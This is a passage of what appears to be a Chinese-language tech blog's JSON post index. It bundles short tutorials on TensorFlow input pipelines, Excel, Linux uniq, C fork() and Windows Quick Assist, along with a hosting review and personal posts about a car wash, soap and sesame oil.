將檔案中的資料讀取進來之後，接著要進行資料解析與前處理的動作，將文字的資料轉換為 tensor，這樣才能放入 TensorFlow 中使用。\nCSV 的資料我們可以使用 tf.decode_csv 這個解析器，它可以把 CSV 的文字資料轉為一連串的 tensors：\n# 設定每個欄位預設的值以及資料類型 record_defaults = [[1], [1], [1], [1], [1]] # 解析 CSV 資料 col1, col2, col3, col4, col5 = tf.decode_csv( value, record_defaults=record_defaults) # 把 CSV 資料的前四欄打包成一個 tensor features = tf.pack([col1, col2, col3, col4]) tf.decode_csv 在使用時要以 record_defaults 參數指定每個欄位預設的值以及資料類型，這樣才能進行正確的資料解析。\n執行 建立好整個資料的輸入管線之後，最後就是要建立一個 session 來實際執行所有的動作，而在實際讀取資料前，要先在另外一個執行緒中啟動佇列執行器，才能讀取資料：\n# 建立 session with tf.Session() as sess: # 建立 Coordinator coord = tf.train.Coordinator() # 啟動佇列執行器 threads = tf.train.start_queue_runners(coord=coord) for i in range(10): # 讀取一筆資料 example, label = sess.run([features, col5]) # 結束 Coordinator coord.request_stop() coord.join(threads) 如果沒有啟動佇列執行器的話，檔名佇列中沒有檔名可用，在讀取資料時就會卡住。\n固定長度資料 若要讀取二進位（binary）的資料，可以使用 tf.FixedLengthRecordReader 函數配合 tf.decode_raw 來解析，tf.decode_raw 會將文字資料轉換為 uint8 的 tensor。\nCIFAR-10 資料集就是一個二進位資料，它以一個位元組（byte）儲存圖片標示（label），然後以 3072 個位元組儲存圖片資料。\nTensorFlow 標準資料格式 我們也可以直接把自己的資料轉為 TensorFlow 的標準資料格式，這樣對於結合各種資料時會更方便。\nTensorFlow 建議使用的標準資料格式為 TFRecords 檔案，其包含 tf.train.Example，內部為 Features。\n我們可以用 f.python_io.TFRecordWriter 寫一個小程式，把自己的資料塞進 tf.train.Example，然後寫入 TFRecords 檔案中，這部分可參考 MNIST 轉換為 TFRecords 檔案的範例。\n若要讀取 TFRecords 檔案，可以使用 tf.TFRecordReader 配合 tf.parse_single_example 解析資料，parse_single_example 可將 tf.train.Example 轉換為 tensors。\n資料前處理 資料前處理包含資料的整理、標準化、抽樣等各種與模型訓練參數無關的動作，這部分可參考 [CIFAR-10 的資料輸入範例][10]。\n批次處理 在輸入管線後方通常會接上另一個佇列，將資料分批已進行後續的處理（例如訓練模型、驗證與預測），tf.train.shuffle_batch 這一個佇列會自動將資料的順序打散，以下是一個簡單的使用範例。\n# 自行定義的讀與檔案函數 def read_my_file_format(filename_queue): reader = tf.SomeReader() key, record_string = reader.read(filename_queue) example, label = tf.some_decoder(record_string) processed_example = some_processing(example) return processed_example, label # 將資料打散，分批處理 def input_pipeline(filenames, batch_size, num_epochs=None): filename_queue = tf.train.string_input_producer( filenames, num_epochs=num_epochs, shuffle=True) example, label = read_my_file_format(filename_queue) # min_after_dequeue 指定打散資料用的緩衝區大小， # 這個值越大代表資料打散資料的效果越好， # 不過值越大則啟動準備時間較長，記憶體用量也較大 min_after_dequeue = 10000 # capacity 一定要比 min_after_dequeue 更大一些， # 多出來的部分可用於預先載入資料，建議值為： # min_after_dequeue + (num_threads + a small safety margin) * batch_size capacity = min_after_dequeue + 3 * batch_size # 使用 tf.train.shuffle_batch 將資料打散並分批處理 example_batch, label_batch = tf.train.shuffle_batch( [example, label], batch_size=batch_size, capacity=capacity, min_after_dequeue=min_after_dequeue) return example_batch, label_batch 實際範例 這裡我拿鳶尾花資料集來製作一個簡單的範例，CSV 檔的格式如下：\n5.1,3.5,1.4,0.2,1 4.9,3,1.4,0.2,1 4.7,3.2,1.3,0.2,1 4.6,3.1,1.5,0.2,1 [略] 我將三種花的資料分別分成 iris1.csv、iris2.csv 與 iris3.csv 這三個檔案來儲存，以下是使用輸入管線讀取 CSV 黨的程式碼。\nimport tensorflow as tf filename_queue = tf.train.string_input_producer( [\u0026#34;iris1.csv\u0026#34;, \u0026#34;iris2.csv\u0026#34;, \u0026#34;iris3.csv\u0026#34;]) reader = tf.TextLineReader() key, value = reader.read(filename_queue) record_defaults = [[0.0], [0.0], [0.0], [0.0], []] col1, col2, col3, col4, col5 = tf.decode_csv( value, record_defaults=record_defaults) features = tf.stack([col1, col2, col3, col4]) with tf.Session() as sess: coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) for i in range(10): example, label = sess.run([features, col5]) print(example, label) coord.request_stop() coord.join(threads) 批次處理範例 這是以批次處理的方式讀取鳶尾花資料的範例程式碼：\nimport tensorflow as tf def read_my_file_format(filename_queue): reader = tf.TextLineReader() key, value = reader.read(filename_queue) record_defaults = [[0.0], [0.0], [0.0], [0.0], []] col1, col2, col3, col4, col5 = tf.decode_csv( value, record_defaults=record_defaults) features = tf.stack([col1, col2, col3, col4]) return features, col5 def input_pipeline(filenames, batch_size, num_epochs=None): filename_queue = tf.train.string_input_producer( filenames, num_epochs=num_epochs, shuffle=True) example, label = read_my_file_format(filename_queue) min_after_dequeue = 10000 capacity = min_after_dequeue + 3 * batch_size example_batch, label_batch = tf.train.shuffle_batch( [example, label], batch_size=batch_size, capacity=capacity, min_after_dequeue=min_after_dequeue) return example_batch, label_batch filenames = [\u0026#34;iris1.csv\u0026#34;, \u0026#34;iris2.csv\u0026#34;, \u0026#34;iris3.csv\u0026#34;] example_bat, label_bat = input_pipeline(filenames, 5) with tf.Session() as sess: coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) example, label = sess.run([example_bat, label_bat]) print(example, label) coord.request_stop() coord.join(threads) ","permalink":"https://blog.gtwang.org/programming/tensorflow-input-pipeline-notes/","summary":"\u003cp\u003e本篇介紹如何在 TensorFlow 中以輸入管線讀取任意格式的檔案，並提供 Python 的範例程式碼。\u003c/p\u003e\n\u003cp\u003e在 TensorFlow 中總共有三種讀取資料的方式，在之前的 \u003ca href=\"/programming/tensorflow-google-machine-learning-software-library-tutorial/\"\u003eTensorFlow 入門教學文章\u003c/a\u003e中，我們已經使用過 placeholder 與常數這兩種比較簡單的方式，這裡將介紹第三種輸入管線的方式。\u003c/p\u003e","title":"TensorFlow 輸入管線 Pipeline 從檔案讀取資料學習筆記"},{"content":"本篇是阿玄今天在家門口洗車的紀錄。\n今天阿玄說要拿刷子去洗車，我就順便拍一些照片與影片紀錄一下。\n這是我用相機拍攝的影片。\n這一段是用手機拍攝的。\n一開始阿玄是拿水槍的小水桶加上長刷子來洗車。\n後來又拿了大水桶。\n最後直接拉水管。\n洗到一半水管掉了，阿玄把它接回去。\n","permalink":"https://blog.gtwang.org/personal/qixuan-car-wash-20170813/","summary":"\u003cp\u003e本篇是阿玄今天在家門口洗車的紀錄。\u003c/p\u003e\n\u003cp\u003e今天阿玄說要拿刷子去洗車，我就順便拍一些照片與影片紀錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這是我用相機拍攝的影片。\u003c/p\u003e\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/WuRLzbWU4OA?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e","title":"阿玄洗車紀錄 2017/08/13"},{"content":"這裡介紹如何在 Excel 中快速將重複的內容標示出來，或是把重複的資料刪除。\n在彙整多張 Excel 表格資料時，很常會遇到重複性資料的問題，就像下面這張 Excel 中的成績資料，有些人的成績出現不只一次，我們必須將這些重複出現的資料刪除。\n若想要把表格中相同的資料找出來，許多人直覺都會採用搜尋的功能，以人工的方式慢慢找，但其實有更快的方法。\nExcel 標示重複資料 在 Excel 中我們可以利用設定格式化條件的方式，將重複出現的資料標示出來，以下是操作步驟。\nStep 1\n選取要標示重複資料的範圍之後，從「常用」籤頁中點選「設定格式化的條件」。\nStep 2\n在「設定格式化的條件」的選單中，選擇「醒目提示儲存格規」中的「重複的值」。\nStep 3\n選擇標示重複資料的儲存格樣式，預設的設定會將重複的資料以紅色的文字與背景顏色來標示，我們可以自己調整這個顏色的設定。\n除了標示重複的資料之外，若將第一個下拉式選單改選為「唯一」，就可以反過來標示那些唯一（不重複）的資料。\nStep 4\n這就是經過「設定格式化的條件」的處理，將重複資料以紅色文字與背景標示的結果。\nExcel 移除重複資料 我們可以利用 Excel 的移除重複資料功能，快速地將有重複出現的資料刪除，以下是操作步驟。\nStep 1\n選取要刪除重複資料的範圍後，從「資料」籤頁中點選「移除重複」。\nStep 2\n確認資料的欄位以及格式，接著點選「確定」。\nStep 3\n執行「移除重複」的動作之後，會顯示執行結果，包含移除了幾筆重複資料，以及保留幾筆唯一的資料。\nStep 4\n這樣就把重複的資料刪除，得到我們想要的結果了。\n參考資料 就是教不落 ","permalink":"https://blog.gtwang.org/windows/excel-find-highlight-delete-duplicate-row/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中快速將重複的內容標示出來，或是把重複的資料刪除。\u003c/p\u003e\n\u003cp\u003e在彙整多張 Excel 表格資料時，很常會遇到重複性資料的問題，就像下面這張 Excel 中的成績資料，有些人的成績出現不只一次，我們必須將這些重複出現的資料刪除。\u003c/p\u003e","title":"Excel 找出重複內容，標示或刪除相同資料教學"},{"content":"本篇是我參考國外的幾個評價網站，彙整出來的 Bluehost 網頁主機空間評價總整理。\nBluehost 網頁主機空間是一家老牌子的主機廠商，長久以來也都是 WordPress 官方推薦的主機商，許多人都會好奇這家主機商的伺服器效能表現如何，我最近參考了個大主機評價網站，整理了一些資料給大家參考。\n基本規格 網頁主機的規格通常都會隨著硬體的價格而改變，而方案的價格有時候也會因為促銷而有特價，以下是 2017 年 Bluehost 的共享網頁主機空間 basic 方案的規格。\n項目 規格 網站數量 1 硬碟空間 50GB 網路流量 無限 贈送網域名稱數量 1 可連結網域名稱數量 5 可連結子網域名稱數量（網站總數） 25 Email 帳號數量 5 Email 信箱容量 每個帳號 100MB 價格 租用一年：$5.95 美金/月 租用兩年：$4.95 美金/月 租用三年以上：$3.95 美金/月 Bluehost 的 basic 方案是設計給新興網站使用的，租用這個方案的主機，還會免費贈送一個網址，不用自己花錢申請，非常划算。\n在硬碟空間方面，每個網站所需要的硬碟空間都不同，不過大部分的網站都不會需要太大的空間，50GB 的空間對於一般的網站來說是很夠用了，我的部落格都用到 VPS 伺服器了，目前的網站大小也還不到 10GB。\n網路流量是沒有限制的，不需要擔心流量超過要額外付費的問題，如果是圖片或影片比較多的網站，不限流量就是一個很棒的優點。\n可連結網域名稱數量有 5 個，而且子網域名稱數量可達 25 個，這個應該是遠超過一般人會使用的量，除非你是專門架站的從業人士，要一次架設超過 5 個以上的網站，否則這部的額度應該是用不完的。\n操作介面 Bluehost 的操作介面設計的還不錯，有簡單又清楚的 cPanel 控制版面、WordPress 快速架站工具，還有其他各種功能，詳細的介面操作細節可參考本站的 Bluehost 文章。\n租用期間與價格 Bluehost 共享網頁主機空間的租用期間是以年為單位，至少要租用一年，沒辦法逐月租用，不過這個問題對一般正常的網站來說影響不大，畢竟正式的網站不可能只用幾個月就關閉。\n如果一次租用兩年或三年，可以獲得更優惠的價格，以 basic 方案來說，三年以上每月的費用只要 $3.95 美金，這個價格其實非常划算。\n如果您真的需要租用超短期的主機空間（不到一年），可以考慮 HostGator 這家網頁主機空間，它的最短租期為一個月，可以讓使用者逐月付租金，方便隨時停止。\nFTP 檔案傳送 FTP 檔案傳送是每一個網頁空間必備的功能，Bluehost 有提供專門的 FTP 帳號管理介面，可以區分管理者與一般使用者帳號，可設定不同的權限、可用空間、目錄等，讓不同使用者管理各自的檔案。\nSSH 安全加密登入 對於熟悉 Linux 環境操作的人來說，若主機有提供 SSH　安全加密連線的登入管道，對於網站檔案的管理會方便許多。\nBluehost 只要經過簡單的 SSH 金鑰設定之後，就可以使用 SSH 登入主機，這個部分算是非常不錯。\n備份功能 如果是以 WordPress 架設的網站，可以使用 Bluehost 的一鍵快速備份功能，快速把整個網站備份下來。\n共享網頁主機空間只是最基本的方案，所有的備份檔案還是放在伺服器上面，若要做到異地備份，就要透過 FTP 自己把資料抓下來，放在自己的電腦中，這樣才是最保險的作法，不過一般共享主機空間的備份功能也都是這樣做的，差不了太多。\n伺服器效能與穩定度 網站的速度與穩定度是一般網站管理者非常在意的重點，但是說實在話這部分很難找到客觀的數據，因為網站的速度會因為網站的設定（例如 WordPress 裝了那些外掛、網頁的圖片多寡等）、測試者的所在地（從台灣或從美國測試）等因素而有不同，而且同一家主機商也有很多台伺服器，在共享網頁主機空間這種不確定因素非常多的環境中，真的很難測試出可以給大家參考的數據，別人可能測出來的數據很漂亮，但是不見得適用於自己的網站。\n我看了網路上的評價，看起來大家對於 Bluehost 伺服器的穩定度（uptime）相當肯定，從 WebHostingStuff 的數據看起來，其 uptime 可達 99.99%。\n參考資料 Hosting Advice wpbeginner Hosting Manual PCMag ","permalink":"https://blog.gtwang.org/web-hosting/bluehost-shared-hosting-review-2017/","summary":"\u003cp\u003e本篇是我參考國外的幾個評價網站，彙整出來的 Bluehost 網頁主機空間評價總整理。\u003c/p\u003e\n\u003cp\u003eBluehost 網頁主機空間是一家老牌子的主機廠商，長久以來也都是 WordPress 官方推薦的主機商，許多人都會好奇這家主機商的伺服器效能表現如何，我最近參考了個大主機評價網站，整理了一些資料給大家參考。\u003c/p\u003e","title":"Bluehost 共享網頁主機空間評價，優點與缺點分析（2017 年）"},{"content":"本篇是 Linux 的 uniq 指令的使用教學，以及各種範例程式碼。\n在 Linux 系統中有許多的可以用來處理文字資料的指令工具，不同的狀況可以使用不同的工具來處理，其中 uniq 是一個可以將重複文字刪除的小工具，留下不重複的資料。\n以下是 uniq 這個工具的使用方式，以及各種實用的範例。\n刪除重複行 假設我們有一個文字檔 example1.txt，其內容如下：\nG. T. Wang G. T. Wang Hello, world. Hello, world. Hello, world. This is a test. 使用 uniq 將 example1.txt 中連續重複的文字行去掉：\nuniq example1.txt 每一段重複的文字行不管重複幾次，處理完之後只會留下一行不重複的文字行：\nG. T. Wang Hello, world. This is a test. 計算文字行重複次數 uniq 若加上 -c 參數，可以在刪除重複文字行之後，標示出每一行的重複次數：\nuniq -c example1.txt 2 G. T. Wang 3 Hello, world. 1 This is a test. 只輸出重複文字行 若只要輸出有重複的文字行，可以加上 -D 參數：\nuniq -D example1.txt G. T. Wang G. T. Wang Hello, world. Hello, world. Hello, world. 而若要將這個輸出中重複的行刪掉，可以改用 -d 參數：\nuniq -d example1.txt G. T. Wang Hello, world. 如果想要把重複的文字行拿來交給其他的程式進行處理，可以使用空白行區分每段重複的文字區塊：\nuniq --all-repeated=separate example.txt G. T. Wang G. T. Wang Hello, world. Hello, world. Hello, world. 或是在每一段重複的文字區塊前加上一行空白行：\nuniq --all-repeated=prepend example.txt G. T. Wang G. T. Wang Hello, world. Hello, world. Hello, world. 只輸出沒有重複的文字行 如果只想要輸出沒有重複的文字行，也就是說只要出現重複的文字行，就完全刪掉，可以使用 -u 參數：\nuniq -u example1.txt This is a test. 跳過開頭欄位 假設文字檔 example2.txt 的內容如下，這個文字檔有兩個欄位，不同欄位之間以空白（或 tab）分隔：\nA1 Hello A2 Hello A3 Hello A4 World A5 World 如果我們想要讓 uniq 在檢查重複文字行的時候，跳過開頭特定幾個欄位的資料，可以使用 -f 參數來指定要跳過的欄位數：\nuniq -f 1 example2.txt 這樣 uniq 就會跳過第 1 欄，從第二欄開始檢查，輸出為：\nA1 Hello A4 World 跳過開頭幾個字元 假設文字檔 example3.txt 的內容如下：\nA01/Hello A02/Hello A03/Hello A04/World A05/World 如果希望 uniq 在處理文字時，跳過每一行的前幾個字元，可以使用 -s 參數。\nuniq -s 4 example3.txt 這樣就會跳果每一行的前 4 個字元，從第五個字元開始比較：\nA01/Hello A04/World 只比較開頭幾個字元 假設文字檔 example4.txt 的內容如下：\nHello, world. Hello, WORLD. Hi, world. Hi, WORLD. 如果希望 uniq 在處理文字時，只比較每一行的前幾個字元，不考慮之後的文字，可以使用 -w 參數。\nuniq -w 5 example4.txt 這樣就會只使用每一行的前 5 個字元來做比較：\nHello, world. Hi, world. Hi, WORLD. 不分英文大小寫 若要讓 uniq 在比較文字時，將大寫與小寫的英文字母是為相同，可加上 -i 參數：\nuniq -i example4.txt Hello, world. Hi, world. ","permalink":"https://blog.gtwang.org/linux/linux-uniq-command-tutorial/","summary":"\u003cp\u003e本篇是 Linux 的 \u003ccode\u003euniq\u003c/code\u003e 指令的使用教學，以及各種範例程式碼。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中有許多的可以用來處理文字資料的指令工具，不同的狀況可以使用不同的工具來處理，其中 \u003ccode\u003euniq\u003c/code\u003e 是一個可以將重複文字刪除的小工具，留下不重複的資料。\u003c/p\u003e","title":"Linux 的 uniq 指令教學與範例：刪除重複文字行、去除相同的內容"},{"content":"這裡介紹如何使用 C 語言的 fork 函數建立子行程，設計多行程的平行化程式。\nC 語言中的 fork 函數可以將目前的程式行程（process）複製一份，建立出新的子行程（child process），而原本的行程就稱為父行程（parent process）。\nfork 在執行之後，會傳回一個整數的傳回值，以下是各種數值所代表的意義：\n負值（小於零）：建立子行程失敗。 零：代表這個程式處於新建立的子行程中。 正值（大於零）：代表這個程式處於原本的父行程中，這個整數值則是子行程的 ID。 在程式設計上我們可以靠著 fork 的傳回值來判別父行程與子行程，進而讓不同的行程處理不同的工作。新建立的子行程會有獨立的行程 ID（process ID），與父行程的行程 ID 不同。\nfork 函數只有在 Linux 系統上可以使用，在一般的 Windows 開發環境中無法使用這種方式建立行程，若要在 Windows 中使用，請參考 Cygwin 等環境。\nHello World 以下是最簡單的 hello world 範例程式碼，程式在呼叫 fork 建立新的行程之後，讓父行程與子行程兩個行程都輸出一樣的文字訊息。\n// fork1.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { // 建立子行程 fork(); // 從這裡開始變成兩個行程 // 兩個行程執行同樣的程式 printf(\u0026#34;Hello world!n\u0026#34;); return 0; } 使用 gcc 編譯後，直接執行：\n# 編譯 C 語言程式 gcc -o fork1 fork1.c # 執行 ./fork1 Hello world! Hello world! 父行程與子行程都執行同一個 printf，各輸出一行文字訊息，所以結果就會是兩行一樣的文字訊息。\n重複建立子行程 由於每次呼叫 fork 時，就會讓程式行程的數量變成原來的兩倍，所以如果重複呼叫 fork 的話，形成數量就會以指數的速度增長。\n// fork2.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { // 建立子行程 fork(); // 建立子行程的子行程 fork(); // 所有行程都輸出一樣的訊息 printf(\u0026#34;Hello world!n\u0026#34;); return 0; } 編譯與執行：\n# 編譯 C 語言程式 gcc -o fork2 fork2.c # 執行 ./fork2 Hello world! Hello world! Hello world! Hello world! 執行兩次 fork 之後，就會產生四個程式行程：\n區分父行程與子行程 這個範例是示範使用 fork 的傳回值來判斷父行程與子行程，讓兩個行程分別執行不同的程式碼：\n// fork3.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { pid_t pid; // 建立子行程 pid = fork(); if (pid == 0) { // 子行程 printf(\u0026#34;Child process!n\u0026#34;); } else if (pid \u0026gt; 0) { // 父行程 printf(\u0026#34;Parent process!n\u0026#34;); } else { // 錯誤 printf(\u0026#34;Error!n\u0026#34;); } return 0; } 編譯與執行：\n# 編譯 C 語言程式 gcc -o fork3 fork3.c # 執行 ./fork3 由於我們無法預測作業系統會先執行哪一個行程，所以這個程式的輸出有可能是\nParent process! Child process! 或是\nChild process! Parent process! 多行程程式的變數與資料 不同行程之間的變數與資料都是互相獨立的，所以在其中一個行程中更改變數中的資料，並不會影響另外一個行程：\n// fork4.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { pid_t pid; // 建立一個變數 int x = 1; pid = fork(); if (pid == 0) { // 子行程的變數 printf(\u0026#34;Child has x = %dn\u0026#34;, ++x); } else if (pid \u0026gt; 0) { // 父行程的變數 printf(\u0026#34;Parent has x = %dn\u0026#34;, --x); } else { printf(\u0026#34;Error!n\u0026#34;); } return 0; } 雖然這裡的 x 是一個全域變數（global variable），但是兩個行程互相獨立，所以不會互相影響。\n編譯與執行：\n# 編譯 C 語言程式 gcc -o fork4 fork4.c # 執行 ./fork4 Parent has x = 0 Child has x = 2 參考資料 GeeksforGeeks ","permalink":"https://blog.gtwang.org/programming/c-fork-tutorial-multi-process-programming/","summary":"\u003cp\u003e這裡介紹如何使用 C 語言的 \u003ccode\u003efork\u003c/code\u003e 函數建立子行程，設計多行程的平行化程式。\u003c/p\u003e\n\u003cp\u003eC 語言中的 \u003ccode\u003efork\u003c/code\u003e 函數可以將目前的程式行程（process）複製一份，建立出新的子行程（child process），而原本的行程就稱為父行程（parent process）。\u003c/p\u003e","title":"C 語言 fork 使用教學與範例，多行程 Multi-Process 平行化程式設計"},{"content":"本篇是艾草之家艾草精油平安皂與艾草本潔膚皂的簡單開箱文。\n艾草具有辟邪除瘴、趨吉避凶的用途，許多人會拿艾草煮成艾草水，然後拿來洗澡或擦身體，但其實煮艾草水有點麻煩，而且也需要時間，不想那麼麻煩的話也可以改用艾草精油平安皂，在洗澡時直接當一般的香皂來洗，效果一樣，而且更方便。\n艾草精油平安皂 這是艾草之家的艾草精油平安皂，一塊只要 30 元，非常便宜，而且使用起來很方便。\n打開艾草皂的紙盒，裡面香皂還有用一層塑膠的袋子包起來，所以不會怕受潮。\n由於艾草精油平安皂通常不是每天都需要洗，所以它採用比較小的包裝，一塊的重量是 30 公克。\n這種艾草精油平安皂內涵艾草與抹草，具有辟邪除瘴、趨吉避凶的特性，而且使用起來很方便，家中有小朋友或是有習慣使用的人，可以買幾塊放在家中備用。\n艾草本潔膚皂 這是艾草之家的艾草本潔膚皂，它的大小比艾草精油平安皂大很多，屬於正常尺寸的香皂，一塊的重量是 120 公克。\n這種潔膚皂的艾草味沒有平安皂那麼濃，比較適合平常用來當作一般香皂使用。\n打開紙盒之後，裡面還有很漂亮的包裝，當作小禮物送人也很體面。\n最內層還有一層塑膠膜保護，避免受潮。\n除了拿來洗澡之外，艾草也可以用來薰香使用，或是製作成天然無毒的蚊香，驅趕蚊蟲。\n","permalink":"https://blog.gtwang.org/children/artemisias-soap/","summary":"\u003cp\u003e本篇是艾草之家艾草精油平安皂與艾草本潔膚皂的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e艾草具有辟邪除瘴、趨吉避凶的用途，許多人會拿艾草煮成艾草水，然後拿來洗澡或擦身體，但其實煮艾草水有點麻煩，而且也需要時間，不想那麼麻煩的話也可以改用艾草精油平安皂，在洗澡時直接當一般的香皂來洗，效果一樣，而且更方便。\u003c/p\u003e","title":"[開箱] 艾草精油平安皂、潔膚皂，辟邪除瘴、趨吉避凶"},{"content":"這裡教大家如何解決 Excel 在輸入電話號碼時，數字零會消失不見的問題。\n在 Excel 的表格中，如果直接輸入零開頭的數字，在預設的狀況下開頭的零會不見，這個問題是因為 Excel 遇到數字的資料時，會自動將其視為一般的數值，所以會自動將開頭沒有意義的零自動刪除。\n對於一般的數值而言 Excel 這樣處理並沒有問題，但是若遇到電話的資料就會出問題，就像這樣：\n以下是修正這個問題的幾種方式。\n儲存格格式 若要修正數字零不見的問題，最標準的方式就是調整儲存格格式，以下是操作步驟。\nStep 1\n選取手機號碼的儲存格，也就是把那些數字零會不見的儲存格全部選取起來。\nStep 2\n在 Excel 的常用工具列中，有一個可以快速調整儲存格格式的下拉式選單，請點選這個選單更改儲存格格式。\nStep 3\n在儲存格格式選單中，選擇「文字」格式。\nStep 4\n接著再將這些有數字零開頭的電話修正一下，把數字零加回去。\nStep 5\n在將儲存格格式設定為「文字」之後，開頭的數字零就不會被自動刪掉了。\nStep 6\n這時候 Excel 內建的錯誤檢查功能會判定這些電話資料應該是數字，所以會出現驚嘆號的錯誤標示，我們可以將所有包含電話資料的儲存格選取後，從其選單中點選「忽略錯誤」。\nStep 7\n設定忽略檢查錯誤之後，所有的電話資料就完全正常了。\n改變電話格式 如果不想要在每次輸入電話時都去更改儲存格格式，還有另外一種方式可以解決，就是在電話中加入連字線（就是一個減號），當 Excel 遇到數字中包含一些其他符號時，就會自動將儲存格格式改為文字，這樣一來開頭的數字零就不會被自動刪除了。\n這種方式有優點也有缺點，優點就是快速、方便，但缺點就是必須修改資料本身，對於電話來說，加入一個連字線可以幫助閱讀，並不會產生太大的影響，但若是其他不同的資料，可能就沒辦法隨意加上連字線，這時候就要自行設定儲存格格式了。\n參考資料 就是教不落 ","permalink":"https://blog.gtwang.org/windows/excel-cell-format-for-phone-number/","summary":"\u003cp\u003e這裡教大家如何解決 Excel 在輸入電話號碼時，數字零會消失不見的問題。\u003c/p\u003e\n\u003cp\u003e在 Excel 的表格中，如果直接輸入零開頭的數字，在預設的狀況下開頭的零會不見，這個問題是因為 Excel 遇到數字的資料時，會自動將其視為一般的數值，所以會自動將開頭沒有意義的零自動刪除。\u003c/p\u003e","title":"Excel 手機電話號碼數字零無法顯示？儲存格設定問題與解決方法教學"},{"content":"這裡介紹如何使用 Windows 10 內建的快速助手功能，馬上遠端救援朋友的電腦。\n若朋友的電腦出現一些問題，需要幫忙解決時，以前的做法就是親自跑一趟，到朋友的電腦前直接解決，比較進階一點的作法是使用遠端桌面，不過遠端桌面也不是每個人都會開，還有帳號與密碼的管理問題。\n在 Windows 10 中有一個「快速助手」功能，是一個專門為了電腦問題求救所設計的工具，可以透過非常簡單的步驟，達到類似遠端桌面的效果，就算對電腦完全不懂，也可以輕易使用。\nStep 1\n首先在協助端與求救端都開啟「Windows 附屬應用程式」中的「快速助手」。\nStep 2\n開啟「快速助手」之後，在協助端選擇「提供協助」，而求救端則選擇「取得協助」。\nStep 3（協助端）\n在協助端這邊要先登入 Microsoft 的帳戶。\nStep 4（協助端）\n登入之後，就會出現一組六位數的安全性驗證碼，把這個驗證碼複製起來，用電子郵件或是 LINE 訊息等的方式，傳送給求救端。\nStep 5（求救端）\n當求救端收到驗證碼之後，就只要在「快速助手」中填入驗證碼即可。\nStep 6（求救端）\n接著求救端要確認是否要分享自己的螢幕，請點選「允許」。\nStep 7（協助端）\n當求救端點選「允許」分享螢幕之後，協助端就可以開始遠端操作求救端的桌面了。\n快速助手有提供開啟「工作管理員」的功能，方便診斷各種系統與程式問題。\n快速助手還有螢幕畫筆功能，協助端用滑鼠在螢幕上寫字或畫圖後，求救端的螢幕上就可以即時看到畫出來畫面，這個功能可以很方便的讓協助者對求救者說明螢幕上的問題。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/windows-10-quick-assist-remotely-troubleshoot/","summary":"\u003cp\u003e這裡介紹如何使用 Windows 10 內建的快速助手功能，馬上遠端救援朋友的電腦。\u003c/p\u003e\n\u003cp\u003e若朋友的電腦出現一些問題，需要幫忙解決時，以前的做法就是親自跑一趟，到朋友的電腦前直接解決，比較進階一點的作法是使用遠端桌面，不過遠端桌面也不是每個人都會開，還有帳號與密碼的管理問題。\u003c/p\u003e","title":"Windows 10 快速助手：遠端救援功能"},{"content":"本篇記錄 2017 年春季栽種的黑芝麻採收後，壓榨出來的黑麻油。\n黑芝麻在收割與曝曬之後，接著就會送到榨油廠榨油，剛壓榨出來的黑麻油會使用這樣的塑膠桶來裝。\n通常農民生產的第一手黑麻油都是這樣以桶裝來銷售的，不過這種塑膠桶裝的麻油在買回去之後，要盡快裝進玻璃瓶中，如果放在塑膠桶內太久，黑麻油會變得比較沒那麼香，真正純的黑麻油放在玻璃瓶中經過一、兩年後都還是很香。\n這是把黑麻油裝入玻璃瓶中的樣子，這樣就可以長期保存了。\n這是一整箱用玻璃瓶裝好的麻油。\n","permalink":"https://blog.gtwang.org/agriculture/sesame-oil-sigang-tainan-20170710/","summary":"\u003cp\u003e本篇記錄 2017 年春季栽種的黑芝麻採收後，壓榨出來的黑麻油。\u003c/p\u003e\n\u003cp\u003e黑芝麻在\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/\"\u003e收割與曝曬\u003c/a\u003e之後，接著就會送到榨油廠榨油，剛壓榨出來的黑麻油會使用這樣的塑膠桶來裝。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"黑麻油\" loading=\"lazy\" src=\"/agriculture/sesame-oil-sigang-tainan-20170710/sesame-oil-sigang-tainan-20170710-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e通常農民生產的第一手黑麻油都是這樣以桶裝來銷售的，不過這種塑膠桶裝的麻油在買回去之後，要盡快裝進玻璃瓶中，如果放在塑膠桶內太久，黑麻油會變得比較沒那麼香，真正純的黑麻油放在玻璃瓶中經過一、兩年後都還是很香。\u003c/p\u003e","title":"[台南西港] 